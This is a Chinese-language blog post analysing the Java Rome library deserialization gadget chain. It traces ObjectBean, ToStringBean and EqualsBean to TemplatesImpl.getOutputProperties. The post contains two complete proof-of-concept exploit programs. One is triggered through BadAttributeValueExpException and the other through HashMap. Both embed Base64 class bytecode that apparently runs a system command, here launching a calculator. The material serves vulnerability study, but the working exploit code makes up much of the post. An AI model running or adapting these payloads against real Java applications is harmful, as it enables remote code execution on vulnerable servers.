java_Rome链
Rome主要是用于解析RSS与Atom元数据的框架
1 2
| RSS:RSS 是一种用于发布和订阅网站内容的 XML 格式。它允许网站所有者将更新的内容以结构化的方式提供给订阅者。通过使用 RSS,用户可以通过 RSS 阅读器或其他应用程序来获取网站的最新文章、新闻、博客等内容,而无需直接访问网站。 Atom:Atom 同样是一种用于发布和订阅网站内容的 XML 格式。它基于更严格和一致的标准,并提供了更灵活的数据模型,使其适用于各种类型的内容发布和分发。Atom 提供了更多的元数据和扩展性,可以支持更复杂的内容结构。类似于 RSS,用户可以通过 Atom 阅读器或其他应用程序来订阅并读取网站的内容。
|
环境
rome:rome:1.0
JDK 1.8.0_192
ObjectBean.toString
在ysoserial中,⽤到了com.sun.syndication.feed.impl.ObjectBean类。在反序列化过程中调⽤了它的toString⽅法
1 2 3
| public String toString() { return this._toStringBean.toString(); }
|
this._toStringBean可通过两个构造函数控制
1 2 3 4 5 6 7 8 9
| public ObjectBean(Class beanClass, Object obj) { this(beanClass, obj, (Set)null); }
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) { this._equalsBean = new EqualsBean(beanClass, obj); this._toStringBean = new ToStringBean(beanClass, obj); this._cloneableBean = new CloneableBean(obj, ignoreProperties); }
|
继续看ToStringBean.toString⽅法
1 2 3 4 5 6 7 8 9 10 11 12 13
| public String toString() { Stack stack = (Stack)PREFIX_TL.get(); String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek()); String prefix; if (tsInfo == null) { String className = this._obj.getClass().getName(); prefix = className.substring(className.lastIndexOf(".") + 1); } else { prefix = tsInfo[0]; tsInfo[1] = prefix; } return this.toString(prefix); }
|
⽅法最后调⽤了另⼀个toString⽅法,截取关键部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private String toString(String prefix) { StringBuffer sb = new StringBuffer(128);
try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass); if (pds != null) { for(int i = 0; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) { Object value = pReadMethod.invoke(this._obj, NO_PARAMS); this.printProperty(sb, prefix + "." + pName, value); } } }
|
其中存在Method.invoke可执⾏⽅法,分析其中的变量是否可控来执⾏任意⽅法。
BeanIntrospector.getPropertyDescriptors
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
是获取beanClass的所有getter方法,而后通过反射调用这个getter方法
1 2 3 4 5 6 7 8 9
| public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException { PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass)); if (descriptors == null) { descriptors = getPDs(klass); _introspected.put(klass, descriptors); }
return descriptors; }
|
这⾥的_introspected默认为HashMap对象
1
| private static final Map _introspected = new HashMap();
|
⾸先会去获取HashMap中键对应的值,⾸次获取descriptors变量为null,会进⼊if语句。if语句会调⽤getPDs⽅法
1 2 3 4 5 6 7 8 9
| private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException { Method[] methods = klass.getMethods(); Map getters = getPDs(methods, false); Map setters = getPDs(methods, true); List pds = merge(getters, setters); PropertyDescriptor[] array = new PropertyDescriptor[pds.size()]; pds.toArray(array); return array; }
|
这个⽅法的⼤体逻辑就是获取这个Class的getter和setter⽅法。
最后存进HashMap中,键为这个Class类,值为这个Class类的 getter和setter⽅法。
最后在ToStringBean.toString(String prefix)⽅法遍历这个HashMap元素的时候,在第⼆个if语句中,会调⽤遍历出的⽅法
思路:尝试执⾏TemplatesImpl.getOutputProperties⽅法来加载字节码
怎么触发tostring是个问题,就想到cc5的链子了
手搓poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ObjectBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64;
public class rome { public static void main(String[] args) throws Exception { TemplatesImpl impl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI="); setFieldValue(impl,"_name","baicany"); setFieldValue(impl,"_bytecodes",new byte[][]{code}); setFieldValue(impl,"_class",null); BadAttributeValueExpException bad= new BadAttributeValueExpException(null); ObjectBean bean = new ObjectBean(Templates.class, impl); setFieldValue(bad,"val",bean);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("rome.txt")); outputStream.writeObject(bad); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("rome.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
|
为什么哪里是Templates.class
beanClass和obj两个属性都是可控的,我们再看看Templates接口,它只有一个getter方法,也就是getOutputProperties()
利用链
1 2 3 4 5
| BadAttributeValueExpException.readObject-> ObjectBean.tostring-> ToStringBean.tostring-> TemplatesImpl.getOutputProperties-> ...
|
ysoserial中,选取的是HashMap.readObject作为反序列化的起点
这⾥的key是存⼊HashMap的键,可控 ysoserial选择调⽤ObjectBean.hashCode()⽅法 那么需要准备⼀个HashMap对象,存⼊⼀个键为ObjectBean对象的键值对 跟进ObjectBean.hashCode()⽅法
1 2 3 4 5 6 7 8
| HashMap.readObject()-> ObjectBean.hashCode()-> EqualsBean.beanHashCode()-> ObjectBean.tostring()-> ToStringBean.tostring()-> ToStringBean.tostring()-> TemplatesImpl.getOutputProperties()-> ....
|
hashmap之前就说过了,跟进ObjectBean的hashcode
1 2 3
| public int hashCode() { return this._equalsBean.beanHashCode(); }
|
继续
1 2
| public int beanHashCode() { return this._obj.toString().hashCode();
|
这里equalsBean和刚刚那条链子一样的
只是
1 2 3 4 5 6 7 8
| public EqualsBean(Class beanClass, Object obj) { if (!beanClass.isInstance(obj)) { throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass); } else { this._beanClass = beanClass; this._obj = obj; } }
|
所以套了2层
写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ObjectBean; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class rome { public static void main(String[] args) throws Exception { TemplatesImpl impl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI="); setFieldValue(impl,"_name","baicany"); setFieldValue(impl,"_bytecodes",new byte[][]{code}); setFieldValue(impl,"_class",null); ObjectBean bean =new ObjectBean(Templates.class,impl); ObjectBean Bean = new ObjectBean(ObjectBean.class,bean); HashMap map= new HashMap(); map.put(Bean,"baicany"); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("rome.txt")); outputStream.writeObject(map); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("rome.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
|